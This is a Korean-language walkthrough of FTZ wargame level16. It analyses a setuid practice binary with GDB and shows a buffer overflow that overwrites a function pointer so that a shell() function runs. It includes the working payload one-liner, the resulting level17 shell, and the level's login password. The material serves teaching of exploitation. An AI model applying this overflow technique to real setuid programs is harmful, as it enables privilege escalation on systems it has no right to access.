ID : level16
PW : about to cause mass
level16 접속.
[level16@ftz level16]$ ls -al
total 100
drwxr-xr-x 4 root level16 4096 Mar 19 2003 .
drwxr-xr-x 34 root root 4096 Sep 10 2011 ..
-rwsr-x--- 1 level17 level16 14017 Mar 8 2003 attackme
-rw-r----- 1 root root 235 Mar 8 2003 attackme.c
-rw------- 1 root root 1 Jan 15 2010 .bash_history
-rw-r--r-- 1 root level16 24 Feb 24 2002 .bash_logout
-rw-r--r-- 1 root level16 224 Feb 24 2002 .bash_profile
-rw-r--r-- 1 root level16 151 Feb 24 2002 .bashrc
-rw-r--r-- 1 root level16 400 Jan 25 1999 .cshrc
-rw-r--r-- 1 root level16 4742 Jan 25 1999 .emacs
-r--r--r-- 1 root level16 319 Jan 25 1999 .gtkrc
-rw-r--r-- 1 root level16 100 Jan 25 1999 .gvimrc
-rw-r----- 1 root level16 235 Mar 8 2003 hint
-rw-r--r-- 1 root level16 226 Jan 25 1999 .muttrc
-rw-r--r-- 1 root level16 367 Jan 25 1999 .profile
drwxr-xr-x 2 root level16 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level16 4096 Jul 4 05:22 tmp
-rw-r--r-- 1 root root 1 May 7 2002 .viminfo
-rw-r--r-- 1 root level16 4145 Jan 25 1999 .vimrc
-rw-r--r-- 1 root level16 245 Jan 25 1999 .Xdefaults
힌트를 읽어봅시다.
[level16@ftz level16]$ cat hint
#include <stdio.h>
void shell() {
setreuid(3097,3097);
system("/bin/sh");
}
void printit() {
printf("Hello there!\n");
}
main()
{
int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
call();
}
attackme의 소스코드 입니다.
* 메모리 구조
<낮은주소>
buf
*call
crap
SFP(4)
RET(4)
<높은주소>
포인터 변수 call은 선언과 동시에 위에서 선언된 printit의 시작 주소 값이 저장됩니다.
우리는 소스코드 맨 위에 shell이라는 함수가 선언된 것 을 볼 수 있습니다.
포인터 변수 call에 printit함수의 시작주소 대신에 shell함수의 시작주소를 넣어준다면?
문제를 쉽게 해결 할 수 있을 것 같습니다.
GDB로 분석해봅시다.
[level16@ftz level16]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048518 <main+0>: push ebp
0x08048519 <main+1>: mov ebp,esp
0x0804851b <main+3>: sub esp,0x38
0x0804851e <main+6>: mov DWORD PTR [ebp-16],0x8048500
0x08048525 <main+13>: sub esp,0x4
0x08048528 <main+16>: push ds:0x80496e8
0x0804852e <main+22>: push 0x30
0x08048530 <main+24>: lea eax,[ebp-56]
0x08048533 <main+27>: push eax
0x08048534 <main+28>: call 0x8048384 <fgets>
0x08048539 <main+33>: add esp,0x10
0x0804853c <main+36>: mov eax,DWORD PTR [ebp-16]
0x0804853f <main+39>: call eax
0x08048541 <main+41>: leave
0x08048542 <main+42>: ret
0x08048543 <main+43>: nop
0x08048544 <main+44>: nop
0x08048545 <main+45>: nop
0x08048546 <main+46>: nop
0x08048547 <main+47>: nop
0x08048548 <main+48>: nop
0x08048549 <main+49>: nop
0x0804854a <main+50>: nop
0x0804854b <main+51>: nop
0x0804854c <main+52>: nop
0x0804854d <main+53>: nop
0x0804854e <main+54>: nop
0x0804854f <main+55>: nop
End of assembler dump.
<main+6> 에서 ebp-16에 0x8048500을 넣어줍니다.
코드에서 void (*call)()=printit; 부분입니다.
printit함수의 주소값이 맞는지 확인해봅시다.
(gdb) disas printit
Dump of assembler code for function printit:
0x08048500 <printit+0>: push ebp
0x08048501 <printit+1>: mov ebp,esp
0x08048503 <printit+3>: sub esp,0x8
0x08048506 <printit+6>: sub esp,0xc
0x08048509 <printit+9>: push 0x80485c0
0x0804850e <printit+14>: call 0x80483a4 <printf>
0x08048513 <printit+19>: add esp,0x10
0x08048516 <printit+22>: leave
0x08048517 <printit+23>: ret
End of assembler dump.
printit 함수를 열어보니 첫 시작 주소가 0x08048500인 것을 알 수 있습니다.
마찬가지로 shell함수도 디스어셈블해봅시다.
(gdb) disas shell
Dump of assembler code for function shell:
0x080484d0 <shell+0>: push ebp
0x080484d1 <shell+1>: mov ebp,esp
0x080484d3 <shell+3>: sub esp,0x8
0x080484d6 <shell+6>: sub esp,0x8
0x080484d9 <shell+9>: push 0xc19
0x080484de <shell+14>: push 0xc19
0x080484e3 <shell+19>: call 0x80483b4 <setreuid>
0x080484e8 <shell+24>: add esp,0x10
0x080484eb <shell+27>: sub esp,0xc
0x080484ee <shell+30>: push 0x80485b8
0x080484f3 <shell+35>: call 0x8048364 <system>
0x080484f8 <shell+40>: add esp,0x10
0x080484fb <shell+43>: leave
0x080484fc <shell+44>: ret
0x080484fd <shell+45>: lea esi,[esi]
End of assembler dump.
shell함수의 시작주소 : 0x080484d0
이전 문제처럼 buf와 call 변수의 거리만큼 값을 채우고 0x080484d0를 입력해주면 문제가 풀릴 것 같지요?
거리 구하는 것은 이제 많이 익숙해졌을 겁니다.
0x0804851e <main+6>: mov DWORD PTR [ebp-16],0x8048500
0x08048525 <main+13>: sub esp,0x4
0x08048528 <main+16>: push ds:0x80496e8
0x0804852e <main+22>: push 0x30
0x08048530 <main+24>: lea eax,[ebp-56]
0x08048533 <main+27>: push eax
0x08048534 <main+28>: call 0x8048384 <fgets>
0x08048539 <main+33>: add esp,0x10
0x0804853c <main+36>: mov eax,DWORD PTR [ebp-16]
0x0804853f <main+39>: call eax
buf : ebp-56
call : ebp-16
cuf와 call의 거리 : 40byte
* 페이로드
A*40 + \xd0\x84\x04\x08
바로 입력해봅시다. ㄱㄱ
[level16@ftz level16]$ (python -c 'print "A"*40 +"\xd0\x84\x04\x08"';cat)|./attackme
id
uid=3097(level17) gid=3096(level16) groups=3096(level16)
my-pass
Level17 Password is
클리어 : )